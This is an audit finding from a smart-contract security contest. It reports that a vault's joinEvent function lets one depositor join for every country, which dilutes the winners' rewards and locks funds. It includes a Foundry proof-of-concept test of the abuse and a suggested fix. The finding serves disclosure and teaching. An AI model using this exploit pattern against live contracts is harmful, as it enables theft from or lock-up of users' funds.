BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Multiple Joins from the same user dilutes the reward and could lock the funds inside the vault.

nkh000

User's being able to join multiple times on single deposit invlates the reward.

Description

When user has deposited once, they can easily join the event for every country in the list rising their chance of winning the event. But, dilutes the reward and locks the fund inside of the protocol.

  • If more then one player has joined the event and after the winning country is decided user must get entire reward based his shares.

  • However when joining the event, contract does not check whether the user has already the join the evenr or not resulting in same user on single deposit joining multiple times which eventually inflates the rewards resulting in imporoper distribution of shares.

// @audit no check for whether the user has already joined the event before
function joinEvent(uint256 countryId) public {
// ...
userToCountry[msg.sender] = teams[countryId]; // Overwrites to current country
uint256 participantShares = balanceOf(msg.sender); // Minted shares after deposit
userSharesToCountry[msg.sender][countryId] = participantShares; // Sets for provided countryId
​
usersAddress.push(msg.sender); // <-- NO DUPLICATE CHECK! Adds user1 AGAIN each time
// ... emit, increment counters ...
}

Risk

Likelihood: HIGH

  • Can Happen everytime when someone joins the event

  • Can dilute the amount of rewards by almost 1/48 times.

Impact:

  • Improper rewards is received by the winner.

  • Even if the malicious actor does not get anything, funds get locked inside the protocol with no way to exit.

Proof of Concept

Add this test in briVault.t.sol . This POC shows how shares are diluted when a single user on a single deposit is allowed to join the event multiple time

function test_multipleJoinsManipulatesReward() public {
// owner sets the countries
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
​
// malicious user joins for all countries
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1);
for (uint256 i = 0; i < countries.length; ++i) {
briVault.joinEvent(i); // can join every country rising the chances of wining
}
vm.stopPrank();
​
// user2 joins for non winning country
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
briVault.joinEvent(2); // country index
vm.stopPrank();
​
// user3 joins for the winning country
vm.startPrank(user3);
mockToken.approve(address(briVault), 5 ether);
uint256 user3Shares = briVault.deposit(5 ether, user3);
briVault.joinEvent(3); // country index
vm.stopPrank();
​
vm.warp(eventEndDate + 2 seconds);
​
vm.prank(owner);
briVault.setWinner(3);
​
// Technically if user3 is the only winner than the user3 must own entire TVL
uint256 expectedReward = mockToken.balanceOf(address(briVault));
​
// Diluted calc (via helper)
uint256 withdrawableAmount = assetsToWithdraw(user3Shares);
​
uint256 user3Before = mockToken.balanceOf(user3);
vm.prank(user3);
briVault.withdraw();
​
vm.prank(user3);
briVault.withdraw();
uint256 withdrawnAmt = mockToken.balanceOf(user3) - user3Before;
​
assertEq(withdrawableAmount, withdrawnAmt);
assert(withdrawnAmt != expectedReward); // not same as expected
assertApproxEqAbs(expectedReward, withdrawnAmt, 15e18); // diluted by almost 15 ether (14.47...)
}

Recommended Mitigation

As recommended mitigation do not allow any user to rejoin the event and also if the user address is already in the usersAddress array then don't push it to the array.

+ mapping(address => bool) public hasUserJoined;
​
+ modifier hasNotJoined(address user) {
+ if (hasUserJoined[user]) {
+ revert AlreadyJoined();
+ }
+ _;
+ hasUserJoined[user] = true; // Set AFTER successful join (avoids partial state)
+ }
​
- function joinEvent(uint256 countryId))public {
+ function joinEvent(uint256 countryId) public hasNotJoined(msg.sender) {
// ...
userToCountry[msg.sender] = teams[countryId];
...
}
​
// on cancel allow user to join again
+ function cancelParticipation() public {
// ...
​
// Reset hasJoin for user to rejoin the event
+ hasUserJoined[msg.sender] = false;
...
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!